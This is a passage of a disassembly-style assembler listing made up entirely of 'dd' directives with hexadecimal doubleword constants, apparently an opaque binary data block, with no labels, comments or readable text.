		dd 4842C020h, 50EEA6h, 19D0DC7Ch, 0D3245303h, 70463700h
		dd 18C2A028h, 1834FA89h, 5A12FF82h, 0FC00AF74h,	5F39DB31h
		dd 0D8E2B0h, 7E1DFD94h,	7CF60542h, 82000EE6h, 680AA21Ch
		dd 974A18h, 40A5EB63h, 37148D3Eh, 4BC23B00h, 0B2D6FB7Dh
		dd 0EE7717h, 910C1867h,	0C7D7C6B7h, 0AFC8A500h,	7F95A215h
		dd 0B0040017h, 82D4BC92h, 1C007B29h, 0E0E8515Fh, 0F303231h
		dd 330A440Dh, 9B0C960h,	3B02010Bh, 67D1C50h, 49DB608Bh
		dd 9076010Ch, 78C3C129h, 7EB8304Ah, 5A8C081Dh, 7F56CA40h
		dd 1749BBh, 48DA1A32h, 71546CB9h, 731F9E7Bh, 3D817256h
		dd 75D13C89h, 868042BCh, 2C438890h, 9C71BE97h, 4548CB00h
		dd 58FDAD80h, 0CA1F2820h, 0E81201E8h, 94684693h, 7034E4D8h
		dd 7E0E37F6h, 0E0B7C11Bh, 0FED74E97h, 0F7C0302h, 6D3D7AF5h
		dd 601F4DF8h, 0D2F13304h, 3F822D37h, 88B3638Ah,	0FA092h
		dd 2808FD16h, 0E29C5E48h, 0FE00187Ch, 24B6BA8Ch, 4E99E1h
		dd 3172403Bh, 20A621EEh, 9028A900h, 8DFEF55Eh, 54BF001Eh
		dd 51C4D9A0h, 4470AB0Fh, 1C4BFF00h, 38BB5D9Dh, 0FEA7132h
		dd 7607B91h, 149500D7h,	0AAD504F0h, 0F7303Bh, 5BDE97D1h
		dd 107EB8Bh, 5DC9CAD4h,	0E8871067h, 0D50027E9h,	18D02325h
		dd 2EDAED84h, 3F70A56Ah, 46FDC580h, 8E4769EAh, 0C3A1F400h
		dd 838006C6h, 5198FFh, 0EF37107Eh, 0C4AA142Ah, 638A5D0Fh
		dd 351E977Ch, 2FB42480h, 43D2D9h, 0CED555Ah, 70571908h
		dd 871D79FAh, 54CF2088h, 803C004Ah, 638A551h, 58A2B891h
		dd 89000B15h, 88BC461Eh, 0EA4E5690h, 1877F2h, 0EB1AC0Ah
		dd 772E6D41h, 706A6200h, 7899DF60h, 14510010h, 22836350h
		dd 7D5C4161h, 73760E0Dh, 0BF67606Eh, 44704Eh, 680E4A19h
		dd 47667157h, 407C4100h, 6E727660h, 4CE900F9h, 6BC47ADDh
		dd 6409F07Fh, 80A66974h, 534018CFh, 48770061h, 0B37C577Dh
		dd 4E019046h, 7BE16ED3h, 62F89E67h, 8E700EF9h, 0FF1C1743h
		dd 826C6F1Fh, 603B7165h, 731ECBC0h, 5F697D02h, 0E09EBE44h
		dd 1E20AA15h, 800E1343h, 522A6670h, 71000C9Bh, 0EE4A7A73h
		dd 0F888DE65h, 1243001Ch, 3637E72h, 61776D55h, 0B0604A00h
		dd 0F07C6462h, 67700166h, 460E4486h, 5276EC0Ch,	45B0711Ch
		dd 743961C2h, 6EF6E063h, 0C7D81DADh, 66F1404Dh,	76CC6A4Fh
		dd 77146400h, 0A288477Fh, 0C12A000Dh, 2E54720Ch, 4B000E73h
		dd 0EA6F4363h, 581862h,	6C1C6847h, 77875166h, 31706B00h
		dd 1D466365h, 74487140h, 1F077972h, 80615167h, 74945527h
		dd 88070F28h, 4AE36F54h, 6E40E29Eh, 0D373E06Bh,	429E0078h
		dd 13048FEh, 6A0E654Bh,	0C7636961h, 0D3E128C0h,	87C421FBh
		dd 0F860F834h, 681E009Fh, 486E38BFh, 95073052h,	1447CA1Ch
		dd 3741150h, 61670046h,	60886376h, 8BA05677h, 6D000A62h
		dd 7AA87D66h, 0E851F0A1h, 0AD210070h, 296F3A30h, 0E0FE626Bh
		dd 9E68573Eh, 0EA0BE276h, 24C8045h, 3140E65h, 1830A560h
		dd 48B07742h, 0B6006C63h, 74417289h, 613A71h, 1C0696Bh
		dd 7A7B6DCBh, 0B7C24400h, 5A0D10DCh, 0E01C7AE1h, 0B82A0175h
		dd 0E639C31h, 0A92FC8B9h, 80B3C400h, 7E2ABB5h, 84CB00A4h
		dd 0A642143Ch, 0BC009996h, 642D45E5h, 382ACEh, 7B2B4CE4h
		dd 406A0B86h, 0BB505Ch,	44A19946h, 7D0D3951h, 14101E15h
		dd 67FC80C3h, 28B4C28h,	3D00F00h, 0C2203C50h, 17403AF6h
		dd 21742B80h, 1CA73E16h, 0BA98FF00h, 61C40775h,	1D4775F7h
		dd 0C2D1658Bh, 0AC95C031h, 0E35E4DE0h, 51291800h, 1B147945h
		dd 0D2380457h, 81E7E0FBh, 60F1FFD3h, 24007CB5h,	2D46DD69h
		dd 0EBFF497h, 0D55349Fh, 0F7A42520h, 9178C912h,	14B8801Fh
		dd 8C850F00h, 0F2AEB19h, 0CE906544h, 7481644Fh,	71830E54h
		dd 0D020CD66h, 1A004240h, 122E3C32h, 262FE175h,	1C8FD16Dh
		dd 0E861C085h, 0E6AC4A5Fh, 1A552800h, 23224653h, 71110E44h
		dd 528033B2h, 35752B03h, 19998D00h, 0BE15811Dh,	0D0FA00A4h
		dd 53451BACh, 9000C343h, 4ECC175Ch, 0B140A8h, 100E5BE5h
		dd 0ECF17A24h, 28B80AEEh, 58A01A00h, 1BE82654h,	8BA71D76h
		dd 0BED10069h, 0AE173B19h, 18F58900h, 0C35B02D6h, 884E0055h
		dd 3B975E9Dh, 0C000F2DFh, 0A5CBDB1h, 7A768B25h,	0AA830E12h
		dd 5A204E7Eh, 7AD026BEh, 2844B51Fh, 1100B8D3h, 0FC5D8E40h
		dd 335C2C8Ah, 183A0043h, 1B10475h, 3FE9EB00h, 84ED1C80h
		dd 1DF807C9h, 0F0C2FE9Dh, 7A325434h, 0A556EC00h, 93FAB2AAh
		dd 8F8100AFh, 0C84BBA75h, 0EA00C434h, 4F7DF7FEh, 25378AAh
		dd 8CA82F21h, 436084DBh, 0FC7A46E9h, 930157F0h,	0C40C21CCh
		dd 0B8C7C890h, 1C248D4Ah, 0C0BD86F0h, 511216FDh, 0FF7D42B9h
		dd 10FBA100h, 88FEF822h, 0DFE90F41h, 0B3473E6Ch, 0EBA5815Eh
		dd 0F0BAF0B4h, 0CCB70100h, 0BDBFE02h, 8B170074h, 4ABF5CC3h
		dd 760F09F8h, 545DF0Ch,	0FB80EB0Fh, 2D6995h, 0E885D959h
		dd 49BA1E37h, 5DCCC300h, 0F07D833Ah, 0EBF93D10h, 365097h
		dd 0D9028E0Fh, 0C80F6CADh, 40160615h, 0EA9674Ch, 11758Dh
		dd 0B7987827h, 0C514D885h, 3C958700h, 0A15DAF9Fh, 8D5601B1h
		dd 43CF49B5h, 1B2480C4h, 0CDC340B9h, 47823C5Eh,	1B66A12h
		dd 7F17FB56h, 851EC422h, 0BC49403h, 0D0763F0Fh,	0F4BA3437h
		dd 8C310053h, 1CEB7FD8h, 0C02C3C90h, 27002784h,	558BF1B8h
		dd 0EF360006h, 26DC4522h, 0E8000A10h, 82D4BF3h,	32FEF4h
		dd 8A2FEC2Eh, 0D76219D6h, 830003E6h, 8EC1A5F8h,	14546C6h
		dd 6EB029DEh, 0C8305399h, 2600567Eh, 82502D13h,	259C7DDh
		dd 44B3D375h, 0D3C095BAh, 400A58Dh, 4FF53FEAh, 8C7CFFh
		dd 42297AE9h, 34288B01h, 0F0210407h, 0C70515Eh,	15F4F48h
		dd 9B5A0F7h, 0D8FE3020h, 603C3E57h, 6C5E8051h, 11790114h
		dd 4A0F00D6h, 55D0DCE9h, 743EBD56h, 2BDA80BCh, 40722EBh
		dd 8053B84h, 12410C01h,	0E028C310h, 0F600D311h,	1CBA2F13h
		dd 3455251h, 87A2EBC6h,	0E4A0BFE5h, 0AC00F24Fh,	6C7E8086h
		dd 1A7434h, 512F822Ch, 0CEB5E4Bh, 800377Ah, 0ABC66F8Ah
		dd 0BA91C93h, 0CEAF8B5Ah, 90D35707h, 16B5D1FDh,	0DDAEFC00h
		dd 0DA96AF4h, 1BEE004Eh, 0ECB34F89h, 0C0047D8h,	0B45EBD03h
		dd 0D224BFh, 60923949h,	9F6BE41h, 32E6B07h, 9E30E4BCh
		dd 0D31840h, 244C283h, 0DCA12550h, 805D203Eh, 80D0FF04h
		dd 6583F0h, 0B106FE3Bh,	76BE695Bh, 6EC0FA00h, 73BF1210h
		dd 0E333000Ah, 0D854045Fh, 0A90352EBh, 257435A4h, 6D069022h
		dd 905A007Fh, 0E99527C3h, 8900AAFFh, 821B4E42h,	0EC0257EBh
		dd 0B8D3F5D6h, 5098F23h, 12D5BEDBh, 0B4B00092h,	837825E9h
		dd 46EC600h, 0E0EB72B6h, 7C75038Eh, 14AEA1A8h, 0D99548A0h
		dd 0EE000E4Eh, 279F2838h, 16770756h, 0E7EB2DB4h, 0D92A62F1h
		dd 0CF228E60h, 0CEFA3300h, 63B87924h, 76DA0049h, 0D428B921h
		dd 0B7007599h, 432FD9B2h, 2356A7h, 464592EEh, 690C16EBh
		dd 30B3B00h, 24CF2BCAh,	0DF8A006Fh, 0AE4927Ch, 0A000275Fh
		dd 91F333Ah, 0F383C50Ch, 0D8C8E931h, 1E993EB5h,	82920E00h
		dd 0EB68422Bh, 75014F00h, 3C6D2859h, 96E60025h,	0D4DDC30Ch
		dd 80072089h, 1DC0267Bh
		dd 0B50098B7h, 437EE0h,	0F5AC921Bh, 0B0C1D73Bh,	450C532Ch
		dd 0EFC25000h, 437FC6h,	2856A9F9h, 8F7D0EEh, 0A8517A00h
		dd 2DA6D3AAh, 8C4D005Dh, 0BF156726h, 13007387h,	3FE5F685h
		dd 7031188h, 0A4BC625Ch, 0E08DF7AEh, 0A9841D6h,	8024683Eh
		dd 0FA92A97Dh, 0F4C5E5A6h, 19640F34h, 0A500A8BEh, 358498F2h
		dd 28033372h, 9D863210h, 0E628039h, 7A2C1D11h, 8158CA2h
		dd 2B7D4F0Ch, 28783F03h, 0A90C5820h, 63C510AFh,	75D0EC0h
		dd 0D7B153C5h, 294E00B7h, 3E037654h, 7D7A47D2h,	717CF190h
		dd 609825E0h, 8563822Fh, 6B006E96h, 0EC3DFB4Bh,	1E4C52ACh
		dd 0EEAFF5DBh, 2EDC0941h, 3752880h, 0D7B850B3h,	6899D500h
		dd 2C78B22Fh, 49F2015Dh, 0E27BCDE1h, 0A391F004h, 1253430Fh
		dd 4EA2A0F0h, 29C6F5h, 4138DA0Ch, 0C7FD04D8h, 4FEC3F00h
		dd 1E4319DFh, 0C3E809D6h, 880CA07h, 1AC11BC9h, 21B9F58h
		dd 9C18153Bh, 1254E047h, 0C550001h, 9FAD0575h, 161F8AF4h
		dd 8414258h, 1A91CB03h,	0AF46FCh, 0B454BF2Ah, 0D5E868E1h
		dd 0B9CC8900h, 8D6C2730h, 527E003Ch, 0A7EC044Bh, 0E400E85Bh
		dd 104914D5h, 0A0DA2Ch,	0B619890Ch, 0FAD0FB04h,	752D3C01h
		dd 0E2F0D1F1h, 721C64D8h, 0CC7B0024h, 15D63479h, 0B3003E35h
		dd 64658420h, 384E3Dh, 0DC5B6C21h, 91879D68h, 0A4A22404h
		dd 4EC09015h, 71E4CB2h,	5C7AB3FAh, 0AC6607Eh, 0EB07EE47h
		dd 0D7FFE215h, 0DB497190h, 45170314h, 0A130306h, 2E77F098h
		dd 48F0F2ABh, 4A3E6FE5h, 816A3A8Ah, 0EBFEC134h,	9A70F31Ah
		dd 0FF0A00C0h, 0E4390855h, 0BAFE7347h, 0E0257F00h, 5ADEF7FBh
		dd 45600728h, 618A6543h, 0D94CD0A8h, 68E8EB85h,	4D9C7DE0h
		dd 84A22C06h, 1CD6EAC4h, 0C0096422h, 0BAF5784Ah, 0C400EB0Ah
		dd 0B6E83C80h, 4CC1E924h, 11DAEA7h, 0A9840003h,	8AB08805h
		dd 0C0001CE4h, 80CA8B2Eh, 7E690C1h, 0C7D31EE9h,	40FAE70Fh
		dd 0E1040675h, 72102C00h, 0B0368332h, 0FC3A0090h, 0FCCFD20h
		dd 8100FB92h, 83D02BB9h, 2CDD05EAh, 395280C2h, 65E8F980h
		dd 488E3763h, 308DEDE5h, 3A0E51B3h, 0BCC990A8h,	68A1C07h
		dd 1757ED1h, 0A0881FC0h, 0F2EB3CF2h, 4FC0032h, 5C9FB9EFh
		dd 42006C4Dh, 0FF54BB17h, 4722B87h, 46F302D8h, 0F880EE89h
		dd 3E0313A4h, 1D004D93h, 7601C71Ch, 0EBE09237h,	0E93C1703h
		dd 0D00467C0h, 3F052AC8h, 0EE82B14Eh, 8DABAF16h, 0CC7EC0DFh
		dd 720904E8h, 80F6D48Fh, 3DD3BD3Ch, 0D1242EFAh,	0C6006A71h
		dd 1237E903h, 2B9600AAh, 108DE776h, 3A0075B8h, 0C45420A7h
		dd 1F2C0F3Eh, 0C4097202h, 874A0CFAh, 0D0A3B0CAh, 2D008319h
		dd 0B4CFCCE0h, 66ED10h,	0F8AD68E7h, 851C7DA4h, 0CCF4423Dh
		dd 7B301D4Eh, 3F13DAEEh, 185C4D02h, 688E0E8Ch, 0DE26001Dh
		dd 7DF8C549h, 0D2E20300h, 7F242305h, 29700A1h, 0E0F9FDF2h
		dd 0EE007EC9h, 0BF82D8ADh, 0ABA3E8h, 0EB058567h, 0F516031Bh
		dd 0CFD7EA00h, 0B8AA5584h, 51271E91h, 0E8D04040h, 0B2566F20h
		dd 7396DD05h, 5580DF44h, 77FFA2h, 75CBFB59h, 534FC04Eh
		dd 92747F24h, 1800E024h, 0DE4BE810h, 9E140E12h,	68AF9608h
		dd 0EB1E0AE0h, 0D20B9349h, 803FB0A3h, 0A850EFE1h, 4A170094h
		dd 7D5F32BCh, 11008279h, 41C9945h, 3F1ADA0Dh, 130ED1F5h
		dd 6C60B3C7h, 45AB85D8h, 14934400h, 1A42F883h, 0AE7F7Fh
		dd 47498476h, 88D6CB55h, 23517100h, 54B88A3Eh, 37320025h
		dd 3CD160B2h, 5300F71Eh, 14421343h, 797AF1C1h, 0C89C0076h
		dd 0EA2C7E4Fh, 0F5004B1Eh, 8F8C04CAh, 4CBFA749h, 40001B32h
		dd 0F8D7F484h, 6500929Fh, 0D43DAF3Fh, 496659h, 0A9A44526h
		dd 47441653h, 0A69DAE18h, 0EC550Eh, 0ABF00798h,	3B06E98Ch
		dd 75E89300h, 0D9E23AE1h, 84503D4h, 0A7C77632h,	0FF96EBE0h
		dd 4F127A1Dh, 0AA39C4C0h, 24F46C58h, 3B184487h,	8130299Fh
		dd 463B03D8h, 0E43AE881h, 0AE1756FCh, 8500F1E0h, 342D220Dh
		dd 85000CCh, 0DED4BA04h, 0B400E542h, 6B1CDAB6h,	74AE9046h
		dd 16A11F8Fh, 7CA88E8Bh, 0CAFC5B60h, 920034F5h,	1C5815D1h
		dd 0E3AC6Eh, 8F433614h,	8C9C46A2h, 8A40F101h, 814A3B08h
		dd 603D840h, 428D0050h,	4D98EA0Ah, 2900E8F0h, 845E575Bh
		dd 0A0D2754Bh, 0CCED8Ch, 0F0BE481Ch, 0B3AE8C0Dh, 9AFC6A00h
		dd 7FE7F353h, 0F5DF03AAh, 7A8D7B58h, 22B5780Fh,	2FA4035h
		dd 0F3F4CB8h, 2FBF0142h, 53A22A00h, 33001034h, 6547E788h
		dd 3D180C04h, 0AB805249h, 41B26CECh, 0F586E34h,	70690052h
		dd 37AF60A3h, 2162005Ah, 1D6B400Dh, 0DB3B2B88h,	0C805003Ch
		dd 0C4156550h, 0BF77E9h, 0F12F40Ch, 95845D85h, 3C3E9A67h
		dd 0C74E30C7h, 43501C6Ch, 494E38h, 800EF8FCh, 7E9AD9Dh
		dd 0EC007571h, 0D43808FDh, 855FC9h, 5EB133A3h, 0BAA068FCh
		dd 119E3202h, 0C054DF08h, 7E14DE57h, 5C69006Eh,	4F77042h
		dd 4F5C2A6Ah, 300D1FD0h, 0B01C8700h, 1F625FD6h,	0E651C8h
		dd 702EC949h, 0A10378BAh, 0A3015785h, 954ED020h, 0D34900C4h
		dd 0BAFD561Ah, 541E4406h, 7B43A155h, 0B8503CB0h, 1CE00B04h
		dd 80A80858h, 5B4C53E8h, 0C400C98Bh, 0C62D4B9Bh, 0FE48475Ah
		dd 706C0161h, 0B8877B34h, 8350DDA1h, 3899940Fh,	42F397B2h
		dd 430B07A0h, 323CC8D1h, 6F000AD8h, 243D05h, 7728C342h
		dd 6119CA17h, 4015BA00h, 9504890Dh, 3C39EC6Dh, 0AC804582h
		dd 0BE51C270h, 0B8004929h, 0C61744BBh, 4A407Ah,	3BD2AF24h
		dd 33F2B911h, 0BCB37B16h, 0E4751600h, 0BB6FF5Ah, 0DB2493B8h
		dd 302D6580h, 0DC00EE0Bh, 0FB832E57h, 0A32259h,	5CDF1198h
		dd 733DB092h, 0DEA7021Eh, 9521E42h, 6821C013h, 1E50084h
		dd 0C419FED5h, 0BA0005C8h, 0CB5F4F1Ch, 2B82B54h, 0EAA2E809h
		dd 0A2C1CA03h, 30F1600Eh, 5F58A37Dh, 8BBF0094h,	0CCE8DDD8h
		dd 24BA070Ch, 0B0CF6D38h, 467154ABh, 8EC2130Eh,	0A0F12F10h
		dd 204DE4E2h, 3CF87708h, 22584354h, 0E80FEC00h,	945E6A0Dh
		dd 41FD301h, 1CBE6096h,	31FCBD40h, 4C5001C0h, 0A80E6802h
		dd 7FAED4AAh, 3FFFE400h, 0E6DE9481h, 10793CDBh,	0B881D53Ah
		dd 6DFEBDAAh, 3CC0200Bh, 500A6500h, 86EA015Eh, 55D404E1h
		dd 80FF31F5h, 40DEDDB3h, 51118300h, 5C196795h, 107F001Fh
		dd 0FEFAF876h, 0CF031896h, 0D6148E60h, 50FCF072h, 0D5380088h
		dd 8702BFEDh, 8D26559Bh, 0B300E052h, 507A366Ch,	0FE3500F6h
		dd 0ADD66AF9h, 5002818h, 47CA0CC1h, 4FC8D53h, 0C6297BDFh
		dd 0F09587DCh, 0A94FFD0Fh, 0EAE1AB00h, 0FCD4A7FEh, 3F750029h
		dd 12E653FFh, 0ECB064A4h, 3FF4FA4Ch, 0E9098082h, 22021845h
		dd 0DB313D53h, 0E5E8B780h, 0E2ABC8A0h, 3F61F600h, 750F09C3h
		dd 5D7D07h, 0B355565Ah,	0D14B1620h, 810CEA3Ah, 527333D6h
		dd 0EB20077Fh, 114000B4h, 31577242h, 43F8484Dh,	9729863Ch
		dd 0F3002625h, 544CF20h, 0B3850266h, 7C080C2Ch,	3B4C980h
		dd 2B1F4BD6h, 0B0000A60h, 0C8022E18h, 3F800F06h, 0DC01353h
		dd 2008101Ah, 4AA64126h, 3ED0003Fh, 2440D848h, 0C2790950h
		dd 38805F86h, 8E0E7412h, 28824C01h, 0C780D231h,	0F7E2C8h
		dd 4101028Ah, 0F686140Bh, 7570E000h, 0DE3C58F2h, 7637723Ah
		dd 3378F7h, 801F7BCDh, 44470FF8h, 73C6F600h, 0A3A5275h
		dd 0E6B37740h, 54D30F20h, 5C401460h, 612BC889h,	817A4400h
		dd 586A07E2h, 0F0C43FE4h
		dd 781CC91Ch, 40CEDC60h, 1001DF6h, 10B77538h, 1C9EBA3h
		dd 39F00A7Bh, 0ECC156CCh, 0BC00FA04h, 869460A0h, 0EDEF69Dh
		dd 3FAC8313h, 0D089AD00h, 807DCDEBh, 0A8201E00h, 0EA7D901h
		dd 0A2F10021h, 0CF02F2F0h, 0AC3910B8h, 0D06A4A4h, 1A24D904h
		dd 669CFA81h, 7397B0FBh, 0C4883C05h, 0E072500h,	0F62FCA5h
		dd 0EA7B8401h, 2F2985FAh, 0E0499F0h, 0E03906ADh, 32C30720h
		dd 172C7440h, 1739997Ah, 74126601h, 0D9075913h,	804B49BFh
		dd 5BBCE94Bh, 0A41002EBh, 6143536h, 222AD880h, 480FC8EDh
		dd 0A0026433h, 0BD105CCBh, 0E8E00B70h, 9407A326h, 2A271FC4h
		dd 3E45A01Bh, 5500A98Fh, 0D84BC179h, 0DFBBF3h, 0CED2031Fh
		dd 0F25B64BEh, 0BCC45424h, 791B200h, 4A0250h, 18066C74h
		dd 3FEB2880h, 1D8D3700h, 0FFEEB90Ah, 91FCE340h,	0CB3104E8h
		dd 0C0EB7460h, 362C13E9h, 230311E8h, 5BD24C30h,	0B0E8A097h
		dd 5A8A098h, 0D4370734h, 20358BB2h, 0EC0DC402h,	318E800h
		dd 3C836F11h, 0B91200A1h, 0B1437194h, 76003689h, 0C2230FC0h
		dd 0FF4BA14h, 0ACFE2F70h, 1588E200h, 32003A8Bh,	809DA2C8h
		dd 49A03Dh, 0ECA11A74h,	509E5CB9h, 32872900h, 0FF10280Ch
		dd 81A60015h, 5854C35Eh, 2000B22Ch, 5FB7DA36h, 3E94099Ah
		dd 5EE09332h, 83F07072h, 0E224B90Fh, 34801E1Ch,	5A7CA63Eh
		dd 0AEF90312h, 1BCD0854h, 0CA27F8E8h, 6AF59004h, 0BB878405h
		dd 0B464FCE0h, 0E0C3C72h, 0B844007Bh, 0C0507076h, 171EB4Ch
		dd 8C66C700h, 8304A8D8h, 0EAE90010h, 0C3FA3265h, 0E5005E75h
		dd 186C644Bh, 6288E8h, 98580F1Ah, 28682BF8h, 54059A0Eh
		dd 66007C8Fh, 20CD02EBh, 2D500E89h, 2098C75Fh, 1E00A2D7h
		dd 9A84B58Ch, 0EC3EAh, 4647BE66h, 4A4DBF83h, 0E81A0700h
		dd 57ECF391h, 81C32C69h, 7422097Ah, 0B5408300h,	0C0010A6Ch
		dd 38F640Ch, 3DDCD0BAh,	5CC10042h, 525051C3h, 8807EE66h
		dd 942C4AE9h, 0DF2D62D0h, 0BE5C0021h, 9EB0734Bh, 0AC3C6942h
		dd 0F25850h, 0E23B358Dh, 0FA01318Eh, 3463007Fh,	0D7EE56AAh
		dd 3600A5B7h, 0C67835Ah, 91D6F2h, 9A65E28Bh, 9F480DE0h
		dd 0B3805107h, 0D9250F4Ch, 2ED778C0h, 0C31328C0h, 0F99D00EDh
		dd 434907D0h, 0A650545h, 0C4C34E04h, 0E0158B0Bh, 0EA5657h
		dd 3685944h, 30058B64h,	3C148500h, 421904F2h, 0C4080F02h
		dd 4B80A829h, 96E88031h, 0AEE79404h, 0E7855491h, 0B27862C0h
		dd 1859005Eh, 0FE6A8B29h, 2713ABDh, 8624FF00h, 27C067C7h
		dd 33CB0E68h, 88091DBh,	0E8507417h, 62005AFCh, 0F207E688h
		dd 97D36Bh, 51759BB4h, 1457C922h, 0A2199513h, 0FBEE12h
		dd 4CBBD4DEh, 600F713h,	560B245Bh, 1CCB3A73h, 9F92EBA7h
		dd 403B1F3Dh, 5C6ABA0Ah, 3501FF4Fh, 93E1AA2Ch, 768006A6h
		dd 8FB6751Bh, 503AC297h, 11EC805Fh, 3CF40E61h, 582F0064h
		dd 74C1487Fh, 80FAB89Fh, 0FB4F7D00h, 9536D0D6h,	1E40087h
		dd 2410497h, 0F5162575h, 0C702F45Dh, 409AFC54h,	0EB4599h
		dd 0F97C1A18h, 8A850B0Ch, 0AA1E017Bh, 8D402E59h, 68EC552Dh
		dd 57B3004Fh, 0E2AEC583h, 343E1215h, 0F6D2AC75h, 0D840501Dh
		dd 4C32FFB3h, 8A60083h,	962E5CF6h, 8EF87193h, 221FEC7Ah
		dd 0B44F4175h, 2B3960E4h, 705F1BC2h, 0EF8F17Ch,	83F41D11h
		dd 16158EA2h, 784C2DC0h, 80005C4Ah, 58053B09h, 0EE7EBDD2h
		dd 95043D28h, 0EFEB0B92h, 0CADF1905h, 0A8963BC0h, 424B01D7h
		dd 153B1249h, 0E10EF0A5h, 683C7700h, 2E855274h,	7FD70059h
		dd 756E8441h, 8006604h,	4A92BE69h, 0E26B5B10h, 0F313E2E2h
		dd 19C4B8DDh, 2C874C76h, 2078840Eh, 0F4285E4h, 97801F10h
		dd 41B42C3Dh, 18BC16AEh, 45AC00BFh, 6E756F46h, 904F6400h
		dd 0C27288Ah, 0B1383EFFh, 96BD7800h, 50101560h,	5CBF5300h
		dd 0FD702FC9h, 1A0B00A0h, 0AB4C0503h, 1500CA8Ah, 121F71D1h
		dd 2B50296h, 89F4F287h,	0CAC00D14h, 680084E9h, 0A177EA90h
		dd 490894h, 143EA259h, 0A30C6674h, 314F300Eh, 1F35CFBDh
		dd 50222C00h, 166856h, 510EF57Ah, 0A0ED7E44h, 0B5022AB0h
		dd 50093195h, 32836068h, 0DB5D0303h, 0A559974h,	2EB20400h
		dd 684C2B7Ah, 13D7614h,	66400885h, 0CCA8D753h, 5C6761EDh
		dd 0ACC01C20h, 6F05065h, 62E1B857h, 1E00A03Ah, 6A04C80Eh
		dd 3C8B421Ch, 1B808980h, 472052D4h, 123B9028h, 9734CFAh
		dd 0A94CFh, 53BE23F0h, 85E0058h, 862A840Ch, 0F107B878h
		dd 0A33C201Dh, 3410801Fh, 5CD6490h, 364911A1h, 24810FA8h
		dd 5B382C00h, 5F0265D4h, 44BD2953h, 96C320h, 0B73490CAh
		dd 72D652A8h, 789CF800h, 0C1E5278Dh, 4CAAA012h,	0F613B888h
		dd 0EC3700BEh, 9075DBD5h, 741DCBF0h, 40036244h,	0D77C8B52h
		dd 0AB782AB0h, 0D7A70397h, 0CCD8A504h, 509D0C90h, 53710300h
		dd 82FB37D6h, 562E003Eh, 75662F0Fh, 54003BAAh, 0E0D63A90h
		dd 0D7BC5Bh, 0A1AAC9Fh,	4410044Fh, 0B34C8F00h, 0FE91C690h
		dd 0EADCE9ADh, 0B8323D60h, 0E6B90380h, 69283013h, 0F35FA401h
		dd 25FF3BABh, 6103D0CBh, 1CA70090h, 49E4491h, 34F66A71h
		dd 0C028BB75h, 0C6FCE7A1h, 0FBCD8204h, 81C00B21h, 79747C02h
		dd 0A72E092Ah, 3E833807h, 0B91570Dh, 0FB77001h,	80041D3Bh
		dd 0DDCA0A89h, 1C3AFB7Ah, 0C08DB370h, 0B979B528h, 0D8038BE2h
		dd 0EBCE5798h, 7E2BE87Ch, 384F0008h, 0C7060317h, 0D70096B5h
		dd 885444A6h, 2901164h,	2135E6Ch, 894193ADh, 0CF9BF0FDh
		dd 0CB281D04h, 32805D55h, 0BC035Ah, 5E6D9FD4h, 83D7E1D3h
		dd 28AFEA00h, 0B73B677Ch, 2D0E74C5h, 3AF03659h,	7720C00h
		dd 0A8C37581h, 31A500F3h, 0FDF9C6F8h, 5300707Eh, 0E98A5A77h
		dd 0EF92A2h, 0F23A2C29h, 0F8109C65h, 51541700h,	8A87C545h
		dd 0D37BB4h, 52FB25D2h,	9264F2C3h, 4B4AFC13h, 694CA600h
		dd 841C10h, 9E5D738Bh, 0F042BF19h, 0C8915500h, 5CCE2A7Ah
		dd 18B91C53h, 35B8315h,	0A3D8FED3h, 0F598E011h,	51A4042Ch
		dd 89ABD00h, 7DB889h, 20A359B0h, 0EC46C4BBh, 45D69300h
		dd 0A78D69BAh, 477F3D4Bh, 0AF5D2F83h, 4CE010ACh, 400051B6h
		dd 0AD427BD8h, 3EB84323h, 508E845Ch, 124080D6h,	0F33B558Dh
		dd 0FFA48326h, 0C8DFC900h, 680A11h, 0AC3EBDF0h,	0D6991401h
		dd 1749FA00h, 0F3458AC0h, 0A6C85CFEh, 16090173h, 28EB2280h
		dd 0E1F7F8C6h, 1F60139h, 88F4328Fh, 5A60F563h, 8721267Ch
		dd 0DC20006Eh, 8056510Bh, 0FC4DEC01h, 977BE983h, 3F876C0h
		dd 0C909DB31h, 78803974h, 3C00AC37h, 817A15E8h,	98427D63h
		dd 0E9D000FEh, 4402701Fh, 0E707EB49h, 72D5068Bh, 8A0D00BEh
		dd 553A16h, 0FAED75F5h,	615097E0h, 0C30045Ch, 5A0689D8h
		dd 2890005Fh, 0B56D7E9h, 42B85BC5h, 0DE1C5525h,	0BD340310h
		dd 0B4EAB309h, 0F87877C1h, 0EC00FCF9h, 0C2B2FFCEh, 0B8901548h
		dd 69F70059h, 1680827h,	2F000BD4h, 41EDCE80h, 152420h
		dd 74664C94h, 1FFD389h,	840F3A00h, 113FA9F4h, 0BFDE0096h
		dd 0CA02A0CCh, 30005308h, 0A30D1C64h, 9105CA5h,	0F34E8218h
		dd 7DBA5080h, 2409D965h, 8B14285Eh, 126D00CFh, 3A551D89h
		dd 0E0835AEDh, 0E9A878F5h, 6952A4F0h, 85C79900h, 77E80810h
		dd 0F2C403AEh, 0F42133DEh, 527D23D0h, 0E2399902h, 405A353Ch
		dd 91A92C9h, 366E194Fh,	16C0D08Fh, 0A3CDF841h, 2134F600h
		dd 0F4107D2Ah, 0C94E00D4h
		dd 0E1665EE3h, 0F900E2B4h, 0F3BE9045h, 5D592F0h, 0ED8B9CB8h
		dd 0AFF7819Bh, 0CB4FF98Fh, 759733A8h, 4FAA5F2h,	0B73A2274h
		dd 84341F1Ch, 0BB38D840h, 3E7C92AEh, 5C00F2FEh,	82EFD7B1h
		dd 0F7031B31h, 24A0E742h, 150A0E8h, 0A798009Dh,	3EBF7DD8h
		dd 0F53F97B4h, 0FC53801Eh, 75A85BAFh, 0A4E300D7h, 886EA79Ch
		dd 0DF7C514Ch, 0B0465A07h, 0ED08087h, 0FAE33C13h, 3D8B002Eh
		dd 833F6052h, 0B80011EFh, 0A608577Ah, 3E210429h, 0A0003A45h
		dd 5FFC07B2h, 0EA096A55h, 87067174h, 85600A53h,	1D33C25Eh
		dd 81F2DD18h, 281536C4h, 0F82CD589h, 0AC907784h, 0D30022FAh
		dd 0A51DE87Eh, 5539D9h,	0A4CFAAACh, 0B6AB362Ah,	4ED25005h
		dd 7BC04B56h, 888CBh, 0C80DF415h, 0C2F0110Ch, 28588D07h
		dd 4540D8D6h, 4495ECh, 6DDB35F6h, 0CF4130D2h, 9D71EB1Fh
		dd 0EAB82280h, 3EAEE3h,	44B4228h, 0AFAF9DFh, 8F6A3F00h
		dd 8A587B9Fh, 54150027h, 0C7642994h, 5B0033A7h,	1E759546h
